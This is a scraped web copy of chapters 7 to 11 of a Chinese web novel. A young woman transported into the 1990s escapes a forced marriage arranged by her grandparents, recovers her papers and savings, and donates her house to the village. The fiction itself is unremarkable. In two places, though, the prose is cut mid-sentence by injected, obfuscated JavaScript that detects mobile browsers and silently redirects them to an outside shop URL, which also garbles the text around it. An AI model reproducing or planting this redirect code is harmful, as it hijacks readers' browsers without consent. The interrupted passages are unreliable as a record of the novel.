《替嫁成了顶流舅妈[九零]》 7. 第七章 青菜清脆爽口，面条劲道爽滑，虽然只是清汤面，味道却相当不错。半碗下肚，热汗从头顶冒出，口腹之欲被满足，五脏六腑都跟着熨帖许多。 只是面的分量着实不小，江雪吃了一半就有点儿吃不动了，停下筷子一看，对面的关山越早就放下碗，连汤带水吃的一点不剩，碗底比脸都干净。 再看旁边的姜衡，裹着花花绿绿的牡丹床单坐在床边，捧着个比自己脸都大的碗，吃的鼻尖冒汗，两颊像仓鼠一样塞得鼓鼓囊囊。 “吃不下不用硬塞。”关山越出声提醒。 江雪正发愁吃不完剩下的怎么办，闻言立马应了声“好”。 关山越愣住，伸出去的手放也不是，不放也不是。 江雪这才注意到他的那句话不是对她，而是对她旁边的姜衡说的。但说都说了，江雪脸不红心不跳的把筷子放到碗沿上，大大方方道：“剩下的吃不完了。” “嗯。”关山越伸手，把姜衡正在吃的碗拉到了自己面前。 江雪顺势看过去，只见姜衡嘴里还含着一口饭，两只眼睛瞪得溜圆，似乎没反应过来怎么自己还没吃完就被抢走了饭碗。 江雪隔着床单摸了摸他的肚子，果然已经像气球一样鼓了起来。小孩子不知饥饱，又或者是不敢说，才一直抱着碗不放。 “行了，吃饱了就放下，吃不完也没事。”江雪把筷子从他手里抽出来，等他把嘴里的饭咽下去，倒了杯水让他漱了漱口，又拿湿毛巾给他擦了擦手脸，叫他重新坐回被子里。 并嘱咐道：“吃饱了先别睡，等会儿给你找动画片看。” 动画片？！ 到底还是小孩子，一听见动画片三个字，姜衡眼中立刻迸发出惊喜的光芒。 姜家也有电视机，就摆在堂屋柜子上。但看电视是姜大强、徐秀兰，还有姜大宝的特权。 尤其是姜大宝，他最喜欢看动画片，每天都雷打不动的守在电视机前，霸占着遥控器不许别人动。 姜衡想看，只能趁人不注意悄悄躲在角落里看，要是被姜大宝发现，就会又哭又喊的把他赶出去。徐秀兰听到后会骂他故意惹哭弟弟，用手掐他的胳膊和大腿。 想到这里，姜衡不由自主的瑟缩了下，又赶紧在床上端正坐好，两只手伸出来乖乖的放在被子上，一副好宝宝认真听话的模样。 江雪被他一连串的小动作萌的会心一击，当场感情变质，亲妈粉上线，起身去给他找遥控器换台。 另一边，关山越两三口吃完了姜衡的剩饭，把三副碗筷摞到一起放回托盘上。 吃了别人做的饭，江雪本想客气一下去洗碗，但关山越显然没打算给她这个机会，丢下句“我去楼下洗碗”就打开门走了出去。 “……好。” 江雪又稳稳当当地坐了回去。 招待所的电视还是黑白的，江雪头回在现实生活中见到这东西，好奇心爆棚，摸索了好一会儿。 不过，即使是当下最主流的娱乐方式，一台电视能接收的频道却十分有限，并且受信号和时间的限制，要么接收不到，要么接收到了却不在播出时间段。 换了好几个台都没找到动画片，江雪意识到自己大话放的有点儿早，现在可不是三十年后，想看什么上网随便一搜就行。 就在这时，电视转到了一档歌唱节目，一首未来的经典老歌从电视里流淌出来，床上的姜衡动了动，身体微微前倾。 江雪心念一动，试探地问：“喜欢听歌？” 姜衡两只手紧张地握在一起，点了点头。 于是江雪放下遥控器，垂眸认真的看着他，语气和缓道：“那我们今天就看这个，明天再看动画片，好吗？” 明天还能看动画片？！ 巨大的惊喜砸来，姜衡终于露出一个笑，脸侧浮现出浅浅的酒窝。 两首歌听完，去楼下洗碗的关山越也回来了。 姜衡听歌听的认真，江雪没有打扰他，轻手轻脚的站起身，走过去对关山越低声交待，“他晚饭吃得多，容易积食，你陪他玩一会儿再让他睡，最好帮他揉揉肚子。”又指了指旁边，“我去隔壁睡。” 两间房紧挨着，共用一堵墙，隔音效果相当一般。关山越听着电视里传来的动静，再看江雪对电视丝毫不感兴趣的模样。 “门上有插销，有事就叫一声，我听得到。” 江雪弯了弯眉眼，“行。” 一夜无梦。 穿越至今，江雪不仅吃了顿饱饭，还终于睡了个好觉。 没有人指桑骂槐地催着她天不亮就起床，也不用时刻想着起来后会有什么活儿等着她去干，幸福感油然而生。 果然日子好不好都是对比出来的，放在几天前，她做梦都想象不到自己能心平气和的过上出行靠腿，联系靠写信，连电视都看不上的日子。 睁眼后又在床上赖了一会儿，江雪起身整理好衣服，拢好头发扎成马尾，把堵在门口的洗脸盆架子挪开，拉开插销开门。 隔壁门敞开着，隐隐有新闻播报的声音从里面传出来。江雪前脚出门，后脚关山越就从隔壁走了出来。 “早。”江雪一边往走廊尽头的洗手间走，一边懒洋洋的打了个哈欠。 “早。” 等到江雪洗完脸回来，关山越还在门口站着，“不知道你吃什么，买了包子和油条。” 小小的床头柜上摆的满满当当，油条、包子、茶叶蛋，还有豆浆和豆腐脑。 睡醒的姜衡双手捧着个大肉包子埋头苦吃，半张脸都吃的油乎乎的。 两张单人床铺的整整齐齐，被子叠成了四四方方的豆腐块放在床尾。 身高只有一米出头的姜衡坐在床边，身上套了身样式简单的灰布衣服，颜色虽然不怎么样，但布料扎实，就是穿在他身上肥了两圈。 除此外，姜衡身边还多了个鼓鼓囊囊的绿色斜挎包，看样子装的全是衣服。 关山越没说衣服和包是哪来的，江雪也就没问，坐下来吃早饭。 吃饱喝足，三人搭上车。 又是几个小时的颠簸，姜衡打从生下来就没离开过姜家湾，一连几个小时坐在车上，难受的眼睛都红了也不哭不闹。 江雪只能给他顺着后背，安慰他马上就到了。 车到站，姜衡再也忍不住，关山越刚把他从车上抱下来，他就挣扎着跳下去，“哇”的一声吐在了地上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615387|187725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >小孩子禁不住路远，吐是常事。车站的工作人员很快铲来了煤渣盖上，江雪过意不去，连声道谢。 “嗨，小孩子嘛。”工作人员没放在心上，“孩子这么小，咋不放家里？” 这时候就连国家政策都在宣传南方的发展，渐渐的就有人背井离乡，选择南下赚钱。 没孩子的还好说，有孩子的，只能撂在家里给老人看着。 他们在车站工作久了，每到过了年那段时期，总能看到当爹妈的背着大包小包上车，孩子在底下撕心裂肺的哭。 江雪没想到自己被误会成了当妈的，笑了笑说：“在自己身边放心些。” 这可不是说瞎话。上辈子她读小学初中那会儿，班里有一半的留守儿童，爸妈在外地打工，家里就爷爷奶奶看着，还有的直接托付给了爸妈的兄弟姐妹。 那时候不管是交通还是通讯都已经相当发达。 从北向南，高铁一天就能到。各种即时社交软件，视频通话更是直接打破了时间和空间的距离。 可即便是这样，那些留守儿童里仍旧有一部分，因为父母常年不在身边，变得性格怪异，家里的老人又管不住，最后只能眼睁睁看着他们变成社会上所说的精神小伙、精神小妹。 工作人员认同的点点头，“是啊，任谁都比不过亲爹亲妈。” 江雪这才发现自己被误会了，正要解释。工作人员把煤渣扫进斗里，抬头一看，“你还怪年轻的，要是你不说，我还以为你是这孩子姐姐呢。” “……”江雪脸红的应下夸奖，“谢谢。” 她笑起来脸甜的不像话，态度也好，还上手来帮她的忙。不像有些人，吐完了就当没看见，扭头就走。还有人自己弄脏了衣服，反而大呼小叫的叫他们过来处理。 话自然就多了点儿，“你男人是个靠得住的，眼里有活儿。” 江雪顺着她的眼神看去，只见个子高大的关山越半蹲在地上，环抱着姜衡，用汽水瓶接了热水，举着瓶子叫姜衡喝水漱口。脸上没什么表情，动作却是温柔的。 三人在车站分手。 等到关山越背着姜衡走远，江雪脚步一转，转头去了火车站售票处。 几分钟后，她又走了出去。 这时候去南方，要么是广市、深市，要么就是海市，再不然就是江浙一带。江雪在售票窗口问了个遍，发现最便宜的车票也要五六十，甚至六七十块钱。 这还是硬座的价钱，硬卧更贵。一连三十多个小时的车程，还要备足了吃的喝的。下车后还要考虑住哪儿，住招待所要介绍信，住宾馆价格翻倍。 江雪在心里默算了一下自己手里的钱，别说住宾馆了，连张去南方的车票都买不起。 要么找人借钱。 原主性格内向，认识的人不多，能借钱的更是少之又少。 虽说现在大家的日子说是好过了许多，几十一百也就是半个月、一个月的工资。可江雪借了钱是要去南方的。 现在通讯不发达，她家里又只剩她自己，她借了钱一走了之，别人想找都找不到她。 所以能借到钱的可能性不大。 要么，就是原主爹留下来的那份存折。 8. 第八章 从火车站出来，江雪搭上了回去的车，又是沙丁鱼罐头一样的拥挤，到村头时差点儿没能挤下车。 从胸腔里吐出口浊气，理了理被挤乱的头发，江雪把肩膀向内一扣，恢复成沉默畏缩的模样，低头沿着村里的小路快步往陈家走。 一路上居然没遇上什么人，到处都安静的不像话，连平时最热闹的“情报局”也空无一人。 这可奇了怪了。 快要走到陈家门口时，江雪才听到点儿声音，吵吵闹闹，像是在吵架。抬头一看，才发现声音居然是从陈家传出来的。陈家的院门外围了好些人，垫脚伸脖子的往里面看。 “哎哎，江雪回来了嘿！” “江雪回来了？在哪儿呢？哪儿呢？” “江雪，你家来人接你来了！” “快来快来，你叔跟你舅都要打起来了！” …… 陈家院子里。 原主奶奶李大妞，原主爷爷江带财，原主的大伯大伯娘和三叔三婶。 一家四口，整整齐齐排列在了陈家院子里。 四个人分工明确，李大妞一进门就坐在了地上，声音大嗓门高，负责对陈家进行控诉。大伯娘和三婶负责添油加醋的帮腔。 江带财端着长辈的架子，不说话，抽着一杆旱烟枪。剩下的人则死死盯着陈家的两个儿子，只要他们敢动手，他们也不含糊。 “没天理啊！欺负我亲孙女没爹没妈，算计起她的婚事来了啊！” “大家都来评评理，天底下哪有这样的事。外甥女来看自家亲舅舅，怎么就成了替你闺女去相亲？” 说起这个李大妞就来气，江雪那贱丫头居然不声不响的就跑了。 都是叫她那个死爹给惯得，上完小学还不算，非要上什么中学，最后不也没考上高中。 倒是把心给上野了，老大、老三家的俩闺女，哪个不是十七八岁就嫁了人，彩礼都留在家里给兄弟娶媳妇。 死丫头倒好，二十岁了不嫁人，还说什么房子是她爹妈留给她的，她就住在里面，谁也别想抢走。 听听，一点儿道理都不讲。 谁家的丫头片子敢说这话，当爹妈的就该撕烂她的嘴！ “你们把我孙女交出来！” 王秀红着急道：“什么相亲，胡说什么呢！不都告诉你们了，江雪是去找工作了。” 恰好江雪从外面走了进来，王秀红抓住救命稻草，“江雪！你说，是不是你自己说的去新阳找工作！你说！你说！” 这是江雪跟田翠英对好的说词。 就说男方发现去相亲的人不是陈雨婷，当场就发了火，饭没吃就生气走了，说好的电影也没看上。 而江雪见自己搞砸了相亲，害怕回来后挨骂，又正好听到有人说新阳的工厂在招工人，就直接买了车票赶过去。 毕竟在这个年代，虽说思想比起几年前开放的多，但在环境相对封闭，经济较为落后的地区，一个单身未婚的女性出去一晚上没回家，什么话都能传出去。 王秀红才不管江雪去了哪儿干什么，少了个人吃白饭，她高兴都来不及。就连江雪的亲舅舅知道后也只是说了句“胡闹”，连多问一句江雪什么时候回来都没有。 田翠英打心底看不上他们一家人的做派，再说她也不白去，吃了碗面，喝了两瓶汽水，还有三张电影票，临走买的鸡蛋糕都给她塞了几个。 两边一对比，她还能不知道要向着谁说话？ 她说的煞有其事，话里话外还在埋怨陈雨婷不懂事，害她丢脸丢到外人面前。 陈雨婷这会儿也在院内。 她脸色发白，昨天她听田翠英那么说，心里是相当得意。 关山越没看上江雪，说明什么，说明江雪不如她！ 可没等她高兴太久，江家人就来了。江雪的三婶还揪着她骂了好一会儿，说她不要脸，没安好心眼，坑自己表妹。 明明上辈子没有这一回事！ 她明明记得上辈子是她爸给江家稍信，江家才来人把江雪给接走。 陈雨婷心里惊疑不定，怎么重来一次，变得和上辈子不一样了？ “我来拿东西。” 江雪越过人群进来，没管坐在地上撒泼的李大妞，也没看王秀红。直直的走进陈家给她安排的小房间，把木板床上的床单一掀，床上的东西一裹，行李就算收拾好了。 她走的干脆，倒是让陈、江两家人都傻了眼。 “等会儿！”一直抽着旱烟没说话的江带财发了话，“我告诉你陈前进，这事儿不能这么算了！” 陈前进，陈玉婷她爸，原主的亲舅舅。 江带财把烟杆子往墙上狠狠一磕，白灰色的墙皮簌簌往下掉，“我家好好地闺女，到你这儿来走亲戚，平白无故的叫人说闲话，没个说法可不行。” 李大妞也立马跟着附和，“对，你们的赔钱！” 除了找人，他们今天还是来要钱的。 本来江带财都跟人讲好了，江雪嫁过去，彩礼要给五百，生儿子再给三百，加起来整整八百块钱！ 现在倒好，人家听说江雪去跟人相亲，还一晚上没回来，说什么都要退婚。 还是他找上门去好说歹说，对方才同意把彩礼往下降一降。 但少的钱得叫陈前进给补上！ 陈前进把眼一瞪，“说法？什么说法？她这几天在我家白吃白住！” “我没有白吃白住。”抱着包走到门口的江雪停下脚步，转身，目光平静的朝他看了过去。 “你欠了我爹，二百三十六块钱。”江雪用所有人都能听见的声音说：“我不是白吃白住。” 她刚醒那会儿对所处的环境一无所知，只接收了一部分原主的记忆，因为是原主爹临终前的嘱托，她没多想，就把欠条给了陈前进。 结果陈前进前脚从她手里接过欠条，后脚就当什么事都没发生过，还默许了王秀红对她使唤来使唤去。 自己不愿意做恶人，就想让王秀红逼她走。 江家人齐齐倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615388|187725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽了一个凉气。 别说是二百三十六，就算只有三十六块钱，也够一个人舒舒服服的过上一个月了。 “胡说八道！”陈前进陡然一惊，脸顿时涨得通红，“胡说！我欠钱？开什么玩笑？” 然后江雪只是冷冷的看了他一眼，什么都没说，抬脚走出了院门。 李大妞立马从地上爬起来追了上去。 这次可不能让这贱丫头跑了，回去就把她送到男方家里，叫人家看着，保管她跑都跑不了。 江带财又磕了下烟杆，又说：“这事没完。” 江家人多，找了个骡子，挂上板车，既能拉货，也能拉人。 见江雪主动上了板车，李大妞扭着身子坐上去，没好气道：“奶还能害你不成，你说你没爹没妈的，谁养你？那家不缺吃不缺喝，你去了就是享福的！” 大伯娘也帮腔，“对啊对啊，小雪，要不是你大伯给你寻摸，这好人家可轮不到你头上。你是读过书的，比我们懂的道理多，你说，人是不是得讲良心！” 她话里有话。 江雪家的那间房子还没着落，老头老太太把老房子留给了老三，那现在这套，说什么都得留给他们。 说着，她斜昵了老三媳妇一眼。 妯娌俩打从嫁进来就不对付，以前有江雪妈在中间夹着，她们还能拧成一股绳，一致对外。 自打江雪妈没了，这绳就散了。两家房子离得近，平时没少磕磕绊绊，就连给江雪寻摸人家也是。 彩礼老两口是打定主意要捏到自己手里，他们就盯上了江雪家的房子。 他们两家都不止一个儿子，闺女早早的嫁了出去，儿子却都还没结婚，就是因为没房子。 她们俩明里暗里的打机锋，原主大伯和三叔就在旁边抽烟，时不时说上两句话，兄弟俩倒是关系不错的样子。 江雪不言不语，垂下眼帘，掩住了眼底的情绪。 板车上除了木板，什么都没有。她把包垫在屁股底下坐着，走了两个多小时，终于到了地方。 骡车在江雪家门口停下。 江雪率先从车上跳下来，李大妞年纪大，腿脚慢了点儿，下来后赶紧拉住自己大儿子，“你现在就去那家，叫他们来把人接走。” 老大有点儿犹豫，“是不是太急了？”彩礼钱都还没给呢。 江带财砸吧着旱烟，“我跟你一起去。” 只要人带回来，就什么都好说。 既然陈家都说江雪没回家是去找工作了，那他们也得把话说清楚了。 外面穿的都是闲话，没凭没据的。江雪读完了初中，搁以前都能去学校里教书，他们家想压彩礼，门都没有！ 李大妞说：“老三也去，你们父子仨一块儿，谅他们也不敢胡说八道。” 正好骡车还在，先不着急还。江大赶着骡车，带着江带财和自己弟弟急匆匆的走了。 李大妞对自己的两个儿媳妇使了个眼色，朝院子里努了努嘴，“看好了，别又叫人跑了。” 9. 第九章 江雪循着原主的记忆将院里院外都扫了一眼。 一间堂屋，左右两间厢房，是原主和父母的卧室。靠近西厢房的位置是厨房，东南角盖了间茅厕。 原主走之前从里面关上了窗户，又锁了堂屋门。进不了堂屋，也就进不了两边的厢房。 江雪走过去看了看，窗户好好地，门锁明显有被砸的痕迹，院子也被胡乱翻了一通，大概是想找有没有藏起来的钥匙。 既然房门没被打开，江雪就暂时没管。随手把包放在地上，转身去了厨房。 厨房门坏了有些日子，关不上。江雪抬脚进去，打眼一扫，就发现里面已经被搬空了。 锅碗瓢盆，面米油盐，放东西的柜子，切菜的菜刀，除了水缸实在太沉挪不动以外，连案板都没留下。 江雪在空荡荡的厨房找了一圈，最后在角落还剩一些的柴火堆里翻出一把镰刀。 镰刀的刀刃已经锈的不成样子，上面还有几个明显的豁口。不知道是没被找到，还是觉得不能用了才没被人拿走。 拿在手里掂了掂，没找到磨刀石，江雪索性就地取材，在地上捡了块石头，又从水缸里舀了点儿水，往正屋门口一蹲，开始唰唰的磨起刀来。 大伯娘和三婶听了李大妞的话，虽然看不上彼此，但也知道现在不是闹事的时候。 可不能再让江雪跑一次了。 谁知道这丫头平时不声不响，跟个面团子似的，三棍子打不出一个屁来，胆子居然这么大。 俩人你瞪我一眼我剜回去，各怀心思的进了院门。 江雪回来，那正屋门总能打开了吧。 她们可记得清清楚楚，堂屋桌子上有座自鸣钟，还有收音机。东厢房里有架缝纫机，西厢房里有台会摇头的电风扇。 江雪她妈会做衣服，刚嫁过来那会儿江雪她妈就在家里帮人缝缝补补，做几身衣裳，等到国家放开政策，她就用钱便宜买了架人家不用的缝纫机。 再后来江雪她妈没了，她俩都想把缝纫机搬回自己家去，结果老二不让，说是留给他姑娘的嫁妆。 江雪那时候十五六岁，顶了她妈在被服厂的班。他们看的眼热，却没法子，只能想着把缝纫机搬走。 可好说歹说，老二就是不同意，连李大妞和江带财来说都不行。 回去后俩人就告诉自家孩子离江雪远点儿，那就是个丧门星、赔钱货，也就老二看的跟个眼珠子似的。 说到现在。 摩拳擦掌的进了院门，大伯娘和三婶刚要抬脚往里冲，先占住缝纫机不撒手，却发现江雪居然没进屋，就在院子里蹲着。 不仅如此，她手里还拿了把镰刀，一下一下的用石头磨得起劲。 两人心里一惊，赶忙刹住了脚，不敢再往前去。 镰刀再钝那也是刀，是真能砍死人的。 “小雪，咋不进屋呢？”大伯娘先开了口，“进去歇歇脚，叫你三婶去家里给你端碗饭过来。” 到了这时候都不肯吃亏， 三婶狠狠地剜了她一眼，知道她是想把自己支走，好自己去抢缝纫机。 江雪照旧磨自己的刀，对周遭的一切视而不见，充耳不闻。 很快，李大妞也进来了，“都杵门口干啥？” 话音刚落，跟前站着的两人不约而同的侧开身子，于是李大妞也看见了蹲在院子里磨刀的江雪。 李大妞到底上了年纪，只愣了一下就反应过来，知道江雪这是给他们示威呢。 “哼哼。”她冷笑了两声，对儿媳妇挥挥手，“去，给我搬个椅子过来，咱们就坐这儿看着她磨。我倒要看看，她能磨出个什么好歹来。” 她活了这么些年，什么凶的狠的没见过。 爹妈为了给儿子娶媳妇，拿自己闺女换亲，嫁到山沟沟里的都有。那闺女不愿意，大冬天的就往河里跳，不还是被家里人捞起来，扎了根红头绳就叫人背走了。 还有上吊的，喝药的，站房顶上闭着眼往下跳的。 过去就过去了，老话都说，嫁鸡随鸡嫁狗随狗，嫁给谁日子不是过。 她就不信江雪会有这个胆子！ 这边的厨房被搬得干干净净，连口锅都没剩下。最后还是李大妞指使老大媳妇去家里做了饭端过来。 大伯娘嘴上不说，心里却恨得咬牙。 老太婆就知道心疼小孩子，老房子留给他们不说，平时有什么好吃的好喝的，也都先紧着老三家的那几个小兔崽子。说是叫她做饭，谁知道是不是故意支开她，好让老三媳妇抢东西。 大伯娘笑着说：“三弟妹跟我一块吧，三碗饭我端不住。” 三婶顶了回去，“有啥端不住的，大嫂你直接把锅端来就行了。妈一个人在这儿我放心不下。” “行了行了。”李大妞不耐烦的挥手，“让你去你就去。” 说给江雪的那户人家就隔了两个村，赶着骡车来回，加上在对方家里来回扯皮的时间，拢共也就一个多小时就回来了。 去的时候三个人，回来就多了俩。 江带财满脸喜色的走在最前面。 这趟算是去着了。说定了，只领证，不办婚礼，今天就把人带走，六百块钱彩礼，生儿子再给三百。彩礼都给他们留下，嫁妆给床被子就行。 出门的时候他就瞅见了，来的这俩人怀里揣着钱，厚厚一沓蓝票子。 骡车在门口停下，江雪手上动作不停，一直等到五个人都进来，才放下石头，起身用水把镰刀冲干净。 “都来了？”江雪笑了笑，嘴角向上勾起，眼底却没有笑意，“你们谁先上来试试刀？” 江带财的笑僵在了脸上，就连李大妞都愣住了。 她以为江雪磨镰刀是要自己寻死觅活，没想过这刀是冲他们来的啊！ 江老三年轻，反应快，“吓唬谁呢，一把破镰刀，连根柴火都砍不断。” 江雪不怒也不笑，只朝他招了招手，“那你来试试，看能不能砍断你的脖子。” 江老三还在嘴硬，“一把破刀吓唬谁呢。” 江雪抬手挽了个刀花，刀刃划破空气的声音叫人牙酸胆寒，“还是你觉得自己能抗得过破 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两人的模样身材天差地别，可一进门，三婶就听到矮的那个叫高的那个哥。 这是对亲兄弟！ 三婶隐晦的看了眼自家大嫂，心想这人平时就是说话难听了点儿，看着还算厚道，居然能干出这种事。 怪不得对方愿意给这么高的彩礼，连嫁妆都不要。 对峙还在继续。 对面八个人，江雪就孤零零自己。 虽然镰刀和破伤风听着叫人害怕，但也不是能吓住所有人。 跟着来的那两个人低声跟江带财说了句什么，紧接着就要抬脚往江雪的方向来。 江雪握紧了手里的镰刀，猛然喝住他们，“别动！” 紧接着，又大声道：“你们别以为我不敢，大不了杀人偿命，多带走你们几个也不亏。就算今天没事，明天，后天，大后天，有本事你们就一辈子睁着眼睛别睡觉！” 都到了这种地步，江雪也不管什么方言还是普通话，她这次回来，就是要拿了东西走人的。 江雪不知道的是，江家人并没有对这件事有丝毫怀疑。 江雪上过初中他们都是知道的，老二就这么一个闺女，惯得简直不像话，非说镇上的初中不行，把江雪送去了市里。听说那里的老师上课都不说土话，用普通话，跟播新闻联播一样。 听了这话，原本要上来夺刀的两个人犹豫了。 他们花大钱把人娶回去，不是叫人在家里当祖宗的。洗衣做饭，事事都要干，真要像她说的那样，冷不防半夜起来给他一刀，谁都防不住。 李大妞见事情要遭，赶紧劝住他们，“等生了孩子就好了，生了孩子，她就舍不得了。” 兄弟俩互相看了看，还是摇摇头走了。 他们给的彩礼不少，没必要给自己找麻烦。 他们一走，就该谈谈正事了。 江雪眼睛一眯，往前走了两步，“我家的户口本，还有我把爸留给我的存折在哪儿？” 10. 第十章 今天的江带财家算是炸开锅了。 先是听人说他们老二家的闺女不愿意结婚跑了，紧接着又有人传那闺女去了她亲舅舅家里，她舅给她说了门亲，俩人都住到一块去了。说的有鼻子有眼的。 这不，一大早江带财和李大妞就带着儿子媳妇，套了骡车出门。一直到吃过晌午饭，才见着人回来。江带财还说传的都是没影的事儿，他孙女是去外面找工作，没跟人相亲。 等到要做晚饭的时候，就有人看见江带财把跟他孙女定的人家带来了。瞧着是一起进了门，可没过一会，那两人自己走了。 有爱打听的上去问，那俩人就摆摆手，说了俩字——“疯了”。 可不就是疯了！ 拿着把镰刀要砍人，要不是江带财躲得快，这会儿都要被人抬到医院去了。 围观的人越来越多，却没有一个上来帮忙的。 江雪循着记忆，先去了原主三叔家里。 江带财和李大妞跟着三儿子住，如果户口本和存折是她拿的，那么大概率就藏在这里。 老三家的两个儿子，一个之前没工作，现在顶了江雪在被服厂的工作，正在厂里上班。另一个在学校上课，都不在家。 院门关着，江雪也不知道自己哪里来的那么大力气，竟然一脚就把门踹开了。进去后直奔厨房，出来时手里就拎了把菜刀。 这下子，江老三哪儿还能不明白。 镰刀是唬人的。 想明白也晚了，那把菜刀剁骨头都利索，剁他还不是绰绰有余。 正屋锁着门，眼看江雪不打算踹门，打算砸窗户。三婶坐不住了，赶紧道：“别砸，别砸，你说你要什么，我给你找。” 江雪重复了自己的要求，“户口本，还有我爸留给我的存折。” 这两样东西都在李大妞手里捏着。 当初是李大妞趁着江雪在前面给她爸守灵，叫她看住了人，去屋里偷偷翻出来的。 存折上有多少钱她不知道，只知道后来老两口去了趟银行，回来时脸上就不怎么好看。 反正这笔钱也到不了自己手里，三婶转头就把李大妞卖了，“户口本和存折都是你奶奶给你保管着呢，怕你年纪小弄好丢了不好补办，不在我这儿。” 江雪看向李大妞，李大妞脸色一青，狠狠瞪了眼老三媳妇。 老三媳妇自然不肯吃亏，管不了婆婆，难道她还管不了自己男人吗？ 被踩了一脚的江老三赶紧劝自己亲妈，“妈，要不就给她吧，反正那户口本有身份证也能补办，再说了……”他压低声音，“现在谁还敢娶她啊。” 至于存折，他听他媳妇说了。结果他旁敲侧击的问了江带财和李大妞好几次，这俩人都装傻，说不定钱早就取出来给他大哥了。 反正也落不到自己手里，他才不心疼。 李大妞气的胸口起伏不定，到底六七十岁了，缓了好一会儿才说：“你等着，我去给你拿。” 她开门进了自己屋，没过一会儿，拿了深红色的户口本，和一本存折出来。 她把两样东西往地上一扔，从鼻子里重重的哼了声。 江雪把两样东西捡起来，户口本很薄，上面只剩下她自己。 1972年9月21日。 原来原主还不到二十岁。 江雪心头鼻头一酸，胸口莫名泛出一股涩意。 紧接着，她又翻开了存折。 一千三百四十八块五毛九。 一分不少。 江雪面露讶异，仔细一看，才发现这本存折崭新崭新的，只有这一条存款信息，再看最上面的开户信息。 户名那一行写着“江雪”两个字。 “哼，一家子白眼狼！”江带财骂了句。 老二忒有心眼，竟然不知道什么时候把存折本换成了江雪的名字。他们拿着户口本和存折去取钱，银行告诉他们没密码取不了，就算有户口本也不行，一定要本人到场。 这银行真是黑了心了，存钱的时候咋没那么多条条框框？ 收起户口本和存折，江雪定了定心，正要开始自己的第二步计划，忽然听到门外传来突突的摩托车声音，紧接着，声音就在门口停下了。 这时候一辆摩托车可不便宜，谁家能买得起一辆二手摩托车，在村里都有面子。 众人纷纷转头看去，江雪也跟着看过去，只见一道熟悉的身影摘下头盔，长腿一挥，从车上下来。 “关山越？”江雪彻底呆住了，这人不是带着姜衡回家了吗？“你怎么来了？” 关山越的目光落在她手里的菜刀上，表情略微有些凝重，“你落了东西，我给你送来。” 江雪呆了呆，“什么东西？” 他抬脚走进院子，从兜里掏出一张卡片，“你的身份证。” 上车前他给江雪写了张纸条，上面有他的传呼机号码。江雪顺手就跟身份证放到了一起。 关山越说：“可能是小偷想偷钱，看到是身份证，就随手丢了。” 还好身份证跟他的传呼机号码放在一起，司机打扫卫生的时候捡到，就打电话通知了他。 当时他刚带着姜衡到家，怕时间来不及，就把姜衡托付给了邻居照顾，又找朋友借了辆摩托车，一路疾驰去车站取了身份证后，转头直奔陈家。 到了陈家，又被告知江雪跟着自家人走了。他问了地址，又一刻不停的赶到江家。 江雪心虚的接过身份证，“还好钱没丢。” 关山越：“……” “对了。”江雪把身份证夹到户口本里收好，“有来有往，这次该你给我帮忙了。” 关山越挑眉，“帮什么忙？” 江雪说：“什么都不用说，吓唬人就行。具体的回头再给你解释。” 关山越点了点头，当真一言不发的站到了她身后，双脚微微分开，双手跨立。 都说狐假虎威，江雪这会儿可算是抖起来了，振臂一挥，对着人群道：“我要找村长！” 一群人浩浩荡荡的转移到了村委会。 冷不防被这么多人堵在门口，村长端茶杯的手都不稳了，看向为首的江雪，“你是江老二家的闺女？找我啥事？” “当然是好事。”江雪朗声一笑，“我要给村里捐个房子！” 捐个房子？ 此 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“管你谁爹谁儿子，你给我当孙子我都不稀得要。”江雪彻底放飞自我，把户口本往村长面前使劲一拍，“这是我家户口本，现在上面我一个人，我就是这套房子的户主。” 又指了指自己的出生年月，“我马上就二十了，根据我国法律，过了十八岁我就是完全民事行为能力人，有权处置我名下的一切财产，包括房产。” “这房子，我捐定了！” 动静这么大，村委会的其他人也围了上来。 有人说：“按照国家规定，这套房子是你的，但这块地，你只有使用权，你怎么捐？” 江雪振振有词，“那就捐使用权，只要国家不收回，这块地，还有地上的房子，就随便你们用。推平了也好，租出去创收也行。” 顿了顿，又说：“房子里还有台电风扇、收音机、缝纫机，都捐给你们！” 江带财还想挣扎，“不行，这都是我儿子的东西，她一个丫头片子，说话不算数，我是他老子，你们不能，不能……” “老人家，你年纪大了，去休息休息啊。” “这太热了，我扶您出去透透气。” “您看路，那是您儿子是吧，来来来，快来扶一下。” 江带财被村委会的人连搀带扶的弄走了。 江雪留在村委会写证明，签字。得知她要去南方，村长还特意给她开了个证明，盖上了村委会章，“南方那边发展机会多，但路也不好走，你拿着这个，必要的时候会有用的。” 江雪现在是妥妥的十佳好村民了，别管那间房子有用没用，村民主动上交个人财产，为村庄发展做贡献，这件事传出去，说明他这个村长干的称职！ “谢谢村长。” 江雪收起证明，和户口本放到一起，“我还要回家收拾一些个人用品，收拾完了，就把钥匙送过来。” 天色已经暗了下来，村长说：“明天再走也不迟，今天天也晚了。” 夜长梦多。江雪笑了笑，指了指门外的关山越，“没事，我朋友就在外面呢。” 她已经迫不及待要离开这里，飞向更广阔的天地了。 11. 第十一章 摩托车碾过凹凸不平的土路，江雪带着头盔，只能听到呼呼的风声从耳边刮过。 过了一会儿，关山越的声音才顺着风声传到耳朵里，“如果我今天没来，你打算怎么办？” 江雪还真想过，“那我就拿着菜刀坐一晚上，谁敢来我就砍谁，来一个砍一个，来两个砍一双。” 摩托车驶上国道，路总算平稳了些。 